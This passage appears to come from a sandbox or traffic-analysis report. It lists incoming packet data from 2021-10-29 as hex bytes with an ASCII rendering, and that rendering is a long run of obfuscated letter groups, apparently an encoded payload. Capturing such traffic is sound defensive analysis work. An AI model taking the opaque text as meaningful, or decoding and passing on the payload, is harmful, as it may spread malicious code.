2021-10-29 18:10:39 UTC	6	IN	Data Raw: 58 6d 20 71 71 6d 20 57 20 70 71 20 6d 71 20 57 4f 20 6d 58 20 44 44 20 45 4a 20 45 6d 20 71 71 6d 20 71 71 45 20 71 4f 70 20 58 58 20 6d 57 20 6d 58 20 57 4f 20 44 4f 20 4a 6d 44 20 58 45 20 4d 58 20 70 71 20 71 20 57 4f 20 6d 58 20 44 44 20 44 58 20 4a 57 71 20 71 71 6d 20 71 71 45 20 4a 4d 20 71 6d 20 6d 6d 20 6d 58 20 57 4f 20 44 4f 20 71 4a 6d 20 71 4f 4d 20 71 71 45 20 71 4f 4d 20 71 4a 4a 20 71 6d 6d 20 4a 71 20 6d 4a 20 44 58 20 71 6d 45 20 71 71 6d 20 71 71 45 20 4a 4d 20 4a 20 57 70 20 6d 4d 20 57 4f 20 45 4f 20 6d 4a 20 71 4f 58 20 71 71 45 20 71 4f 4d 20 71 4a 4a 20 4a 44 20 6d 45 20 57 4f 20 57 6d 20 4d 6d 20 4a 4f 58 20 4d 70 20 71 70 70 20 71 71 4a 20 57 4f 20 57 6d 20 4d 70 20 4a 4a 20 58 6d 20 71 71 6d 20 71 4a 45 20 4d 45 20 45 4a 20 57 Data Ascii: Xm qqm W pq mq WO mX DD EJ Em qqm qqE qOp XX mW mX WO DO JmD XE MX pq q WO mX DD DX JWq qqm qqE JM qm mm mX WO DO qJm qOM qqE qOM qJJ qmm Jq mJ DX qmE qqm qqE JM J Wp mM WO EO mJ qOX qqE qOM qJJ JD mE WO Wm Mm JOX Mp qpp qqJ WO Wm Mp JJ Xm qqm qJE ME EJ W
2021-10-29 18:10:39 UTC	8	IN	Data Raw: 45 20 4d 45 20 57 57 20 70 70 20 57 6d 20 4a 4f 4f 20 58 4a 20 71 44 6d 20 71 71 44 20 71 4f 4d 20 71 71 58 20 44 57 20 70 4f 20 57 4f 20 57 6d 20 4d 6d 20 71 4a 20 71 70 4d 20 71 4f 4d 20 71 71 4a 20 57 6d 20 4a 71 20 70 71 20 70 70 20 71 71 6d 20 71 4a 20 71 6d 4a 20 71 4f 4d 20 71 71 4a 20 57 6d 20 4a 4f 44 20 57 4a 20 4a 70 57 20 58 57 20 71 71 6d 20 71 71 57 20 70 4f 20 4d 57 20 57 4f 20 6d 58 20 57 44 20 71 4d 20 4a 71 4a 20 71 6d 4f 20 71 71 45 20 71 4f 4d 20 71 71 44 20 4a 44 20 57 71 20 57 4f 20 57 6d 20 71 4a 45 20 4a 4d 20 4d 57 20 71 4f 58 20 71 71 4a 20 57 4a 20 70 70 20 57 57 20 70 4d 20 58 4f 20 71 6d 4f 20 71 71 57 20 71 58 44 20 71 71 70 20 57 4f 20 57 6d 20 44 57 20 44 20 58 6d 20 71 71 6d 20 71 4a 45 20 71 4d 20 71 6d 70 20 57 4f 20 6d Data Ascii: E ME WW pp Wm JOO XJ qDm qqD qOM qqX DW pO WO Wm Mm qJ qpM qOM qqJ Wm Jq pq pp qqm qJ qmJ qOM qqJ Wm JOD WJ JpW XW qqm qqW pO MW WO mX WD qM JqJ qmO qqE qOM qqD JD Wq WO Wm qJE JM MW qOX qqJ WJ pp WW pM XO qmO qqW qXD qqp WO Wm DW D Xm qqm qJE qM qmp WO m
2021-10-29 18:10:39 UTC	9	IN	Data Raw: 4f 20 71 71 6d 20 71 71 45 20 71 4f 70 20 4d 70 20 57 70 20 57 6d 20 44 70 20 4a 70 57 20 71 4a 45 20 71 71 57 20 71 71 45 20 71 4f 4d 20 71 71 6d 20 4a 44 20 57 44 20 57 4f 20 57 6d 20 58 4a 20 71 4a 44 20 71 71 6d 20 70 4f 20 4a 71 4d 20 57 4f 20 6d 58 20 57 4a 20 70 45 20 58 4f 20 4d 4d 20 71 71 70 20 71 71 70 20 4a 57 70 20 71 4f 6d 20 6d 58 20 57 4f 20 57 57 20 71 71 70 20 71 44 4a 20 4a 4a 4a 20 71 4f 4d 20 71 71 4a 20 57 6d 20 4a 6d 20 57 20 57 6d 20 58 6d 20 71 4a 4f 20 44 20 58 57 20 71 71 4a 20 57 4f 20 57 58 20 4d 70 20 71 70 57 20 58 6d 20 71 71 6d 20 71 71 57 20 45 57 20 71 4f 4a 20 70 70 20 57 70 20 71 4f 20 4a 70 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 70 4f 20 57 4d 20 57 71 20 6d 58 20 57 4a 20 70 45 20 58 4a 20 4d 4d 20 71 71 57 20 71 4a Data Ascii: O qqm qqE qOp Mp Wp Wm Dp JpW qJE qqW qqE qOM qqm JD WD WO Wm XJ qJD qqm pO JqM WO mX WJ pE XO MM qqp qqp JWp qOm mX WO WW qqp qDJ JJJ qOM qqJ Wm Jm W Wm Xm qJO D XW qqJ WO WX Mp qpW Xm qqm qqW EW qOJ pp Wp qO Jpm Xm qqm qqE pO WM Wq mX WJ pE XJ MM qqW qJ
2021-10-29 18:10:39 UTC	10	IN	Data Raw: 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 44 71 20 6d 58 20 57 4f 20 57 57 20 45 4d 20 44 44 20 71 71 57 20 71 4f 4d 20 57 4a 20 6d 58 20 6d 58 20 57 4f 20 57 70 20 58 6d 20 71 71 6d 20 71 4f 4f 20 70 4f 20 45 4d 20 57 4f 20 6d 58 20 57 44 20 44 4f 20 58 44 20 71 71 71 20 4a 6d 58 20 57 57 20 71 71 4a 20 57 4f 20 6d 4d 20 4a 70 20 4a 70 4f 20 71 6d 4f 20 71 71 6d 20 71 71 45 20 71 4f 57 20 58 58 20 57 20 6d 58 20 57 4f 20 44 4f 20 70 4d 20 45 6d 20 71 71 45 20 71 4f 4d 20 71 4a 4a 20 4a 44 20 4d 20 57 4f 20 57 6d 20 4d 6d 20 71 4a 71 20 71 71 6d 20 44 4d 20 45 6d 20 57 4f 20 6d 58 20 57 44 20 4a 45 20 58 70 20 71 71 44 20 71 4a 4f 20 71 45 44 20 4d 44 20 6d 58 20 6d 58 20 57 4f 20 57 4a 20 71 4a 6d 20 71 4a 4a 20 71 71 45 20 71 4f 4d 20 71 71 58 20 44 4a 20 Data Ascii: qqE qOM qqJ Dq mX WO WW EM DD qqW qOM WJ mX mX WO Wp Xm qqm qOO pO EM WO mX WD DO XD qqq JmX WW qqJ WO mM Jp JpO qmO qqm qqE qOW XX W mX WO DO pM Em qqE qOM qJJ JD M WO Wm Mm qJq qqm DM Em WO mX WD JE Xp qqD qJO qED MD mX mX WO WJ qJm qJJ qqE qOM qqX DJ
2021-10-29 18:10:39 UTC	12	IN	Data Raw: 44 20 44 45 20 71 4f 20 57 6d 20 58 6d 20 71 4a 4f 20 4a 44 20 71 4d 70 20 71 71 4a 20 57 4f 20 57 6d 20 4d 70 20 71 70 20 58 6d 20 71 71 6d 20 71 4a 45 20 4a 20 45 4a 20 57 71 20 6d 58 20 57 4a 20 70 4d 20 58 70 20 4d 4d 20 71 71 70 20 71 4a 6d 20 71 71 45 20 6d 57 20 44 70 20 71 4d 71 20 71 4f 58 20 58 6d 20 71 71 6d 20 71 71 44 20 45 4a 20 71 44 4f 20 71 57 57 20 6d 58 20 57 4f 20 57 4f 20 71 4a 6d 20 44 4d 20 71 71 45 20 71 4f 4d 20 71 4a 4a 20 44 57 20 58 20 57 4f 20 57 6d 20 4d 6d 20 4a 4d 20 4a 71 45 20 71 4f 4d 20 71 71 4a 20 57 4a 20 57 44 20 4a 44 20 6d 58 20 58 6d 20 71 71 6d 20 71 71 57 20 4a 20 45 6d 20 57 71 20 6d 58 20 57 4a 20 70 4d 20 58 70 20 4d 45 20 71 71 57 20 71 4a 6d 20 71 71 58 20 4d 70 20 57 20 57 71 20 57 6d 20 58 4a 20 71 4f 4f Data Ascii: D DE qO Wm Xm qJO JD qMp qqJ WO Wm Mp qp Xm qqm qJE J EJ Wq mX WJ pM Xp MM qqp qJm qqE mW Dp qMq qOX Xm qqm qqD EJ qDO qWW mX WO WO qJm DM qqE qOM qJJ DW X WO Wm Mm JM JqE qOM qqJ WJ WD JD mX Xm qqm qqW J Em Wq mX WJ pM Xp ME qqW qJm qqX Mp W Wq Wm XJ qOO
2021-10-29 18:10:39 UTC	13	IN	Data Raw: 4f 4d 20 71 71 4a 20 57 44 20 44 45 20 71 4f 20 57 6d 20 58 6d 20 71 4a 4f 20 4a 44 20 71 4d 70 20 71 71 4a 20 57 4f 20 57 6d 20 4d 70 20 71 70 20 58 6d 20 71 71 6d 20 71 4a 45 20 71 4a 44 20 71 71 4d 20 70 57 20 57 57 20 6d 70 20 71 58 45 20 71 6d 20 71 71 6d 20 71 71 45 20 71 4f 58 20 58 57 20 4a 4a 44 20 71 57 4d 20 57 4f 20 57 6d 20 58 4f 20 4d 4f 20 44 44 20 71 4f 4d 20 71 71 4a 20 57 44 20 44 45 20 71 4f 20 57 6d 20 58 6d 20 71 4a 4f 20 4a 44 20 6d 57 20 71 71 4a 20 57 4f 20 57 58 20 70 71 20 6d 71 20 44 4d 20 71 71 45 20 71 4f 58 20 4a 4a 6d 20 6d 4a 20 57 4f 20 6d 58 20 57 71 20 71 4d 20 71 70 4a 20 71 6d 6d 20 71 71 45 20 71 4f 4d 20 71 71 44 20 4a 44 20 45 20 57 4f 20 57 6d 20 4d 6d 20 71 20 45 45 20 71 4f 4d 20 71 71 4a 20 57 44 20 4d 57 20 71 Data Ascii: OM qqJ WD DE qO Wm Xm qJO JD qMp qqJ WO Wm Mp qp Xm qqm qJE qJD qqM pW WW mp qXE qm qqm qqE qOX XW JJD qWM WO Wm XO MO DD qOM qqJ WD DE qO Wm Xm qJO JD mW qqJ WO WX pq mq DM qqE qOX JJm mJ WO mX Wq qM qpJ qmm qqE qOM qqD JD E WO Wm Mm q EE qOM qqJ WD MW q
2021-10-29 18:10:39 UTC	14	IN	Data Raw: 4a 4f 20 4a 57 70 20 71 4f 6d 20 6d 58 20 57 4f 20 57 57 20 71 71 70 20 71 44 4a 20 71 57 45 20 71 4f 4d 20 71 71 4a 20 57 6d 20 4a 6d 20 57 20 57 6d 20 58 6d 20 71 4a 4f 20 44 20 58 57 20 71 71 4a 20 57 4f 20 57 58 20 4d 70 20 71 57 6d 20 58 6d 20 71 71 6d 20 71 71 57 20 71 4f 71 20 58 58 20 57 4a 20 6d 58 20 57 4f 20 6d 58 20 70 58 20 71 20 71 71 4d 20 71 4f 4d 20 4f 20 45 44 20 6d 44 20 57 4f 20 57 6d 20 4d 6d 20 4a 4d 20 71 4f 44 20 71 4f 4d 20 71 71 4a 20 57 44 20 70 57 20 57 70 20 44 4d 20 71 44 20 71 71 57 20 71 71 45 20 71 4f 45 20 4d 4d 20 57 58 20 70 70 20 57 58 20 70 4d 20 58 4f 20 4d 4d 20 71 71 4a 20 71 71 6d 20 71 4a 6d 20 71 4d 71 20 71 4f 44 20 57 4f 20 57 6d 20 58 57 20 58 45 20 71 44 57 20 4a 4f 70 20 71 71 4a 20 57 4f 20 57 4a 20 4a 44 Data Ascii: JO JWp qOm mX WO WW qqp qDJ qWE qOM qqJ Wm Jm W Wm Xm qJO D XW qqJ WO WX Mp qWm Xm qqm qqW qOq XX WJ mX WO mX pX q qqM qOM O ED mD WO Wm Mm JM qOD qOM qqJ WD pW Wp DM qD qqW qqE qOE MM WX pp WX pM XO MM qqJ qqm qJm qMq qOD WO Wm XW XE qDW JOp qqJ WO WJ JD
2021-10-29 18:10:39 UTC	16	IN	Data Raw: 6d 57 20 71 20 71 20 57 45 20 58 45 20 4d 4f 20 44 4a 20 71 4f 4d 20 71 71 4a 20 57 44 20 57 4f 20 4a 44 20 6d 4f 20 58 6d 20 71 71 6d 20 71 71 57 20 71 4f 70 20 4d 71 20 44 4f 20 57 4f 20 70 44 20 70 6d 20 71 4a 6d 20 58 6d 20 71 71 45 20 71 4f 4d 20 71 71 58 20 4d 70 20 71 71 20 57 4f 20 57 6d 20 4d 6d 20 71 4a 4f 20 71 45 71 20 71 71 4f 20 58 44 20 4a 70 44 20 6d 58 20 57 4a 20 4a 58 20 58 57 20 4d 58 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 57 6d 20 57 4f 20 70 20 71 71 71 20 71 71 6d 20 71 71 58 20 4d 58 20 71 71 4a 20 57 4f 20 6d 4d 20 70 70 20 44 20 58 44 20 71 71 6d 20 58 4a 20 71 4f 4d 20 71 71 4a 20 57 4f 20 57 57 20 57 4f 20 57 6d 20 44 4d 20 71 4f 71 20 71 4a 45 20 71 71 71 20 70 71 20 71 4a 44 20 6d 58 20 57 4f 20 44 4f 20 4d 57 20 58 Data Ascii: mW q q WE XE MO DJ qOM qqJ WD WO JD mO Xm qqm qqW qOp Mq DO WO pD pm qJm Xm qqE qOM qqX Mp qq WO Wm Mm qJO qEq qqO XD JpD mX WJ JX XW MX qqE qOM qqJ WO Wm WO p qqq qqm qqX MX qqJ WO mM pp D XD qqm XJ qOM qqJ WO WW WO Wm DM qOq qJE qqq pq qJD mX WO DO MW X
2021-10-29 18:10:39 UTC	17	IN	Data Raw: 57 4a 20 44 4f 20 71 70 58 20 71 71 70 20 58 70 20 71 45 4d 20 71 71 4a 20 4a 70 44 20 57 71 20 4a 4f 20 4a 70 4a 20 58 6d 20 71 71 44 20 4d 57 20 71 4f 4d 20 71 71 4a 20 57 4f 20 71 71 70 20 44 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 45 20 6d 4d 20 57 4f 20 57 6d 20 45 44 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 58 70 20 57 71 20 6d 58 20 57 4f 20 57 70 20 58 6d 20 71 71 6d 20 71 71 45 20 4d 58 20 71 71 4a 20 57 4f 20 6d 4d 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 4a 71 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 6d 20 57 71 20 57 6d 20 58 6d 20 4d 4f 20 71 71 44 20 71 4f 4d 20 71 71 4a 20 6d 4d 20 6d 58 20 57 4f 20 57 6d 20 4d 6d 20 71 71 6d 20 71 71 45 20 71 4f 58 20 71 4f 45 20 4a 20 57 71 20 57 4f 20 45 57 20 58 6d 20 71 Data Ascii: WJ DO qpX qqp Xp qEM qqJ JpD Wq JO JpJ Xm qqD MW qOM qqJ WO qqp D Wm Xm qqm qqE qOM qqJ WE mM WO Wm ED qqm qqE qOM Xp Wq mX WO Wp Xm qqm qqE MX qqJ WO mM WO Wm Xm qqm qJq qOM qqJ WO mm Wq Wm Xm MO qqD qOM qqJ mM mX WO Wm Mm qqm qqE qOX qOE J Wq WO EW Xm q
2021-10-29 18:10:39 UTC	18	IN	Data Raw: 57 57 20 71 71 4a 20 6d 4d 20 57 58 20 57 4f 20 57 6d 20 58 57 20 71 4f 57 20 44 4d 20 71 4f 57 20 71 71 4a 20 71 71 6d 20 6d 4d 20 57 4f 20 57 6d 20 4d 57 20 71 71 6d 20 71 71 45 20 71 4a 6d 20 70 20 71 4a 71 20 6d 4d 20 57 4f 20 6d 58 20 4d 6d 20 71 71 4a 20 4a 44 20 57 4a 20 71 71 4a 20 57 4f 20 57 58 20 4d 70 20 71 4f 4d 20 58 6d 20 71 71 6d 20 71 4a 45 20 71 4f 4a 20 45 4a 20 71 6d 57 20 6d 58 20 57 4f 20 57 6d 20 58 70 20 4a 4d 20 71 4a 4a 20 71 4f 4d 20 71 71 4a 20 57 44 20 44 58 20 70 45 20 57 6d 20 58 6d 20 71 71 57 20 71 4a 71 20 71 4f 71 20 70 71 20 71 71 4f 20 6d 58 20 57 4f 20 44 4f 20 70 58 20 4a 6d 45 20 71 71 4d 20 71 4f 4d 20 4f 20 4a 44 20 71 4f 4d 20 57 4f 20 57 6d 20 4d 6d 20 4d 6d 20 71 4a 71 20 71 4f 45 20 71 4a 4f 20 4d 70 20 71 71 Data Ascii: WW qqJ mM WX WO Wm XW qOW DM qOW qqJ qqm mM WO Wm MW qqm qqE qJm p qJq mM WO mX Mm qqJ JD WJ qqJ WO WX Mp qOM Xm qqm qJE qOJ EJ qmW mX WO Wm Xp JM qJJ qOM qqJ WD DX pE Wm Xm qqW qJq qOq pq qqO mX WO DO pX JmE qqM qOM O JD qOM WO Wm Mm Mm qJq qOE qJO Mp qq
2021-10-29 18:10:39 UTC	20	IN	Data Raw: 4d 20 57 4f 20 57 4f 20 71 71 70 20 4d 57 20 4d 58 20 45 57 20 71 6d 20 57 71 20 6d 4d 20 57 4f 20 57 4f 20 71 45 4f 20 71 71 44 20 71 57 71 20 71 4f 58 20 71 71 4a 20 57 4a 20 44 45 20 6d 4f 20 57 6d 20 58 6d 20 71 4a 4f 20 58 4f 20 4a 70 45 20 71 71 6d 20 57 71 20 6d 58 20 57 6d 20 70 4f 20 58 57 20 71 71 6d 20 71 71 45 20 45 4f 20 70 71 20 6d 44 20 6d 58 20 57 4f 20 44 4f 20 4d 57 20 45 6d 20 44 6d 20 71 4f 58 20 71 71 4a 20 57 4f 20 57 57 20 4d 70 20 6d 70 20 58 6d 20 71 71 6d 20 71 4a 45 20 4d 45 20 71 4a 4f 20 6d 4a 20 70 4d 20 70 45 20 71 58 45 20 71 4a 20 71 71 6d 20 71 71 45 20 71 4f 58 20 58 57 20 70 44 20 6d 45 20 6d 4a 20 71 58 45 20 71 6d 20 71 71 6d 20 71 71 45 20 71 4f 58 20 58 57 20 4a 4a 44 20 4a 6d 6d 20 57 4f 20 57 6d 20 58 4f 20 4d 4f Data Ascii: M WO WO qqp MW MX EW qm Wq mM WO WO qEO qqD qWq qOX qqJ WJ DE mO Wm Xm qJO XO JpE qqm Wq mX Wm pO XW qqm qqE EO pq mD mX WO DO MW Em Dm qOX qqJ WO WW Mp mp Xm qqm qJE ME qJO mJ pM pE qXE qJ qqm qqE qOX XW pD mE mJ qXE qm qqm qqE qOX XW JJD Jmm WO Wm XO MO
2021-10-29 18:10:39 UTC	21	IN	Data Raw: 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 45 4a 20 71 4f 4d 20 71 71 4a 20 57 4f 20 4a 45 20 57 71 20 57 6d 20 58 6d 20 4a 44 20 71 71 44 20 71 4f 4d 20 71 71 4a 20 6d 4d 20 6d 58 20 57 4f 20 57 6d 20 4d 6d 20 71 71 6d 20 71 71 45 20 71 4f 58 20 71 71 6d 20 57 4f 20 6d 58 20 57 4f 20 45 20 58 6d 20 71 71 6d 20 71 71 45 20 6d 4a 20 71 71 70 20 57 4f 20 6d 58 20 45 6d 20 57 57 20 58 6d 20 71 71 6d 20 71 4a 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4a 20 6d 58 20 57 4f 20 57 6d 20 6d 4a 20 71 71 57 20 71 71 45 20 71 4f 4d 20 4a 6d 6d 20 57 71 20 6d 58 20 57 4f 20 57 70 20 58 6d 20 71 71 6d 20 71 71 45 20 4d 58 20 71 71 4a 20 Data Ascii: qqE qOM qqJ WO mX WO Wm Xm qqm EJ qOM qqJ WO JE Wq Wm Xm JD qqD qOM qqJ mM mX WO Wm Mm qqm qqE qOX qqm WO mX WO E Xm qqm qqE mJ qqp WO mX Em WW Xm qqm qJE qOM qqJ WO mX WO Wm Xm qqm qqE qOM qqJ WJ mX WO Wm mJ qqW qqE qOM Jmm Wq mX WO Wp Xm qqm qqE MX qqJ
2021-10-29 18:10:39 UTC	22	IN	Data Raw: 70 20 71 71 4a 20 57 4f 20 57 6d 20 4d 70 20 71 70 20 58 6d 20 71 71 6d 20 71 4a 45 20 44 4d 20 6d 4d 20 57 4f 20 6d 58 20 57 44 20 58 4d 20 4d 58 20 71 71 57 20 71 71 45 20 71 4f 45 20 4d 45 20 57 4a 20 57 44 20 70 57 20 57 4f 20 45 58 20 4a 57 57 20 6d 45 20 71 4f 4d 20 71 71 4a 20 57 71 20 4a 71 20 4a 4a 44 20 4a 4f 58 20 58 6d 20 71 71 6d 20 71 71 70 20 44 4d 20 45 71 20 57 4f 20 6d 58 20 57 44 20 44 4d 20 71 4f 58 20 71 71 6d 20 71 71 45 20 71 4f 70 20 70 71 20 71 57 58 20 6d 58 20 57 4f 20 6d 58 20 57 4d 20 45 70 20 71 71 45 20 71 4f 4d 20 71 4a 4a 20 4d 70 20 58 20 57 71 20 57 6d 20 58 4a 20 4d 4d 20 71 71 57 20 71 4f 71 20 4d 45 20 57 6d 20 6d 70 20 71 4d 71 20 71 4f 58 20 58 6d 20 71 71 6d 20 71 71 44 20 45 4a 20 71 44 4f 20 71 70 6d 20 6d 58 20 Data Ascii: p qqJ WO Wm Mp qp Xm qqm qJE DM mM WO mX WD XM MX qqW qqE qOE ME WJ WD pW WO EX JWW mE qOM qqJ Wq Jq JJD JOX Xm qqm qqp DM Eq WO mX WD DM qOX qqm qqE qOp pq qWX mX WO mX WM Ep qqE qOM qJJ Mp X Wq Wm XJ MM qqW qOq ME Wm mp qMq qOX Xm qqm qqD EJ qDO qpm mX
2021-10-29 18:10:39 UTC	24	IN	Data Raw: 71 20 4a 6d 58 20 57 57 20 71 71 4a 20 57 4f 20 6d 4d 20 4a 70 20 70 4a 20 45 57 20 6d 44 20 4a 70 4a 20 71 4a 4a 20 70 71 20 58 57 20 6d 58 20 57 4f 20 44 4f 20 4d 57 20 71 71 45 20 71 4f 4d 20 4a 6d 45 20 71 71 4f 20 71 4d 71 20 71 4f 44 20 57 4f 20 57 6d 20 58 57 20 58 45 20 71 44 57 20 4a 6d 70 20 71 71 4a 20 57 4f 20 57 4a 20 4a 44 20 71 20 58 6d 20 71 71 6d 20 71 4a 45 20 70 4f 20 45 4a 20 57 4f 20 6d 58 20 57 44 20 70 4f 20 4d 20 71 71 6d 20 71 71 45 20 71 4f 70 20 4d 4a 20 57 4a 20 57 57 20 70 45 20 71 45 4a 20 4d 6d 20 58 4d 20 71 71 70 20 71 4f 44 20 71 4f 4a 20 71 44 58 20 57 58 20 4a 70 44 20 57 70 20 71 71 6d 20 71 45 4a 20 71 71 45 20 71 4f 45 20 4d 4f 20 57 4f 20 6d 4d 20 70 6d 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 45 20 71 71 Data Ascii: q JmX WW qqJ WO mM Jp pJ EW mD JpJ qJJ pq XW mX WO DO MW qqE qOM JmE qqO qMq qOD WO Wm XW XE qDW Jmp qqJ WO WJ JD q Xm qqm qJE pO EJ WO mX WD pO M qqm qqE qOp MJ WJ WW pE qEJ Mm XM qqp qOD qOJ qDX WX JpD Wp qqm qEJ qqE qOE MO WO mM pm Wm Xm qqm qqE qOE qq
2021-10-29 18:10:39 UTC	25	IN	Data Raw: 20 57 4f 20 6d 58 20 57 44 20 44 58 20 6d 4d 20 71 71 70 20 71 71 45 20 4a 4d 20 71 6d 20 6d 6d 20 6d 58 20 57 4f 20 44 4f 20 71 4a 6d 20 71 4f 4d 20 71 71 45 20 71 4f 4d 20 71 4a 4a 20 4d 70 20 4d 4a 20 57 4f 20 57 6d 20 4d 6d 20 4a 4d 20 6d 70 20 71 4f 4d 20 71 71 4a 20 57 44 20 70 57 20 57 45 20 70 4d 20 4d 6d 20 4d 4f 20 45 70 20 71 4f 4d 20 71 71 4a 20 57 44 20 4a 4d 20 4d 4a 20 70 4d 20 4d 57 20 4d 4f 20 45 70 20 71 4f 4d 20 71 71 4a 20 57 44 20 4a 4d 20 58 45 20 70 4f 20 57 4a 20 71 71 6d 20 71 71 45 20 71 4f 70 20 4d 45 20 57 44 20 4a 6d 20 71 4a 71 20 57 6d 20 58 6d 20 71 4a 4f 20 4a 44 20 71 4a 20 71 71 4a 20 57 4f 20 57 58 20 70 70 20 57 58 20 71 4a 6d 20 71 58 20 71 71 45 20 71 4f 4d 20 71 4a 4a 20 70 57 20 57 4d 20 4a 44 20 71 4a 57 20 58 6d Data Ascii: WO mX WD DX mM qqp qqE JM qm mm mX WO DO qJm qOM qqE qOM qJJ Mp MJ WO Wm Mm JM mp qOM qqJ WD pW WE pM Mm MO Ep qOM qqJ WD JM MJ pM MW MO Ep qOM qqJ WD JM XE pO WJ qqm qqE qOp ME WD Jm qJq Wm Xm qJO JD qJ qqJ WO WX pp WX qJm qX qqE qOM qJJ pW WM JD qJW Xm
2021-10-29 18:10:39 UTC	26	IN	Data Raw: 70 4f 20 71 6d 71 20 71 71 6d 20 71 71 45 20 71 4f 45 20 58 58 20 57 44 20 6d 58 20 57 4f 20 4a 4d 20 58 45 20 71 71 58 20 4a 44 20 71 70 70 20 71 71 70 20 57 4f 20 57 6d 20 4a 6d 20 57 6d 20 45 71 20 44 44 20 71 4a 44 20 71 4f 4d 20 4d 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 71 71 20 58 58 20 70 4d 20 6d 58 20 57 4f 20 6d 58 20 70 58 20 6d 57 20 71 71 70 20 71 4f 4d 20 4f 20 4a 44 20 4a 70 70 20 57 4f 20 57 6d 20 58 4a 20 4d 4f 20 71 4a 44 20 71 4f 4d 20 71 71 4a 20 4a 57 20 57 71 20 57 6d 20 57 71 20 4d 4f 20 71 71 58 20 71 4a 70 20 71 4f 6d 20 71 4a 44 20 57 4a 20 44 4a 20 57 70 20 57 44 20 4d 4a 20 71 4a 6d 20 71 4a 6d 20 4d 4d 20 71 4a 4a 20 4d 70 20 4a 4f 6d 20 57 71 20 57 6d 20 58 4a 20 58 58 20 45 20 71 71 71 Data Ascii: pO qmq qqm qqE qOE XX WD mX WO JM XE qqX JD qpp qqp WO Wm Jm Wm Eq DD qJD qOM MJ WO mX WO Wm Xm qqm qqE qqq XX pM mX WO mX pX mW qqp qOM O JD Jpp WO Wm XJ MO qJD qOM qqJ JW Wq Wm Wq MO qqX qJp qOm qJD WJ DJ Wp WD MJ qJm qJm MM qJJ Mp JOm Wq Wm XJ XX E qqq
2021-10-29 18:10:39 UTC	28	IN	Data Raw: 57 20 4d 58 20 6d 6d 20 71 4f 71 20 71 4f 4a 20 6d 57 20 70 4a 20 4a 44 20 58 4d 20 58 6d 20 71 71 6d 20 71 4a 45 20 71 4f 44 20 71 4f 4a 20 57 4d 20 70 58 20 57 70 20 71 58 6d 20 44 71 20 71 4a 4a 20 4a 57 71 20 6d 20 6d 71 20 4a 44 20 4d 57 20 57 4f 20 57 6d 20 4d 6d 20 71 20 71 4f 4a 20 71 4f 4d 20 71 71 4a 20 57 4a 20 57 71 20 57 4a 20 70 6d 20 4d 70 20 71 4a 4a 20 4a 44 20 45 45 20 71 71 4a 20 57 4f 20 57 6d 20 70 70 20 57 4f 20 71 70 58 20 71 71 4d 20 58 70 20 71 45 4d 20 71 71 4a 20 70 58 20 4a 44 20 70 57 20 57 4f 20 71 4a 44 20 71 71 6d 20 71 71 45 20 71 4f 58 20 4d 44 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 45 6d 20 71 71 6d 20 71 45 20 4a 70 4d 20 71 71 4a 20 6d 4d 20 44 70 20 57 4f 20 57 6d 20 58 57 20 71 4f 57 20 44 4d 20 71 4f 4a 20 71 71 4a Data Ascii: W MX mm qOq qOJ mW pJ JD XM Xm qqm qJE qOD qOJ WM pX Wp qXm Dq qJJ JWq m mq JD MW WO Wm Mm q qOJ qOM qqJ WJ Wq WJ pm Mp qJJ JD EE qqJ WO Wm pp WO qpX qqM Xp qEM qqJ pX JD pW WO qJD qqm qqE qOX MD WO mX WO Wm Em qqm qE JpM qqJ mM Dp WO Wm XW qOW DM qOJ qqJ
2021-10-29 18:10:39 UTC	29	IN	Data Raw: 20 57 4f 20 6d 58 20 57 44 20 44 71 20 58 44 20 71 71 44 20 45 20 4a 6d 4f 20 71 71 45 20 57 4f 20 44 6d 20 57 70 20 6d 4d 20 4a 71 58 20 4a 45 20 4d 4d 20 44 4d 20 71 4f 45 20 57 4f 20 6d 58 20 57 4a 20 4a 44 20 58 4a 20 71 20 6d 20 71 4f 4d 20 71 71 4a 20 57 44 20 45 6d 20 57 4a 20 4a 58 20 45 71 20 44 44 20 71 4a 45 20 71 4f 4d 20 4a 6d 71 20 57 4f 20 6d 58 20 57 4f 20 70 57 20 58 6d 20 71 71 6d 20 71 4f 4f 20 71 71 71 20 71 71 57 20 44 6d 20 71 70 57 20 57 57 20 57 6d 20 70 44 20 4d 4f 20 58 71 20 71 4f 4d 20 71 71 4a 20 57 4a 20 70 58 20 4a 44 20 44 4d 20 58 6d 20 71 71 6d 20 71 4a 45 20 71 4f 70 20 71 71 58 20 4a 44 20 45 4f 20 57 4f 20 57 6d 20 4d 6d 20 71 4a 71 20 71 71 4d 20 71 71 4d 20 4a 57 70 20 70 45 20 6d 58 20 57 4f 20 6d 57 20 71 71 70 20 Data Ascii: WO mX WD Dq XD qqD E JmO qqE WO Dm Wp mM JqX JE MM DM qOE WO mX WJ JD XJ q m qOM qqJ WD Em WJ JX Eq DD qJE qOM Jmq WO mX WO pW Xm qqm qOO qqq qqW Dm qpW WW Wm pD MO Xq qOM qqJ WJ pX JD DM Xm qqm qJE qOp qqX JD EO WO Wm Mm qJq qqM qqM JWp pE mX WO mW qqp
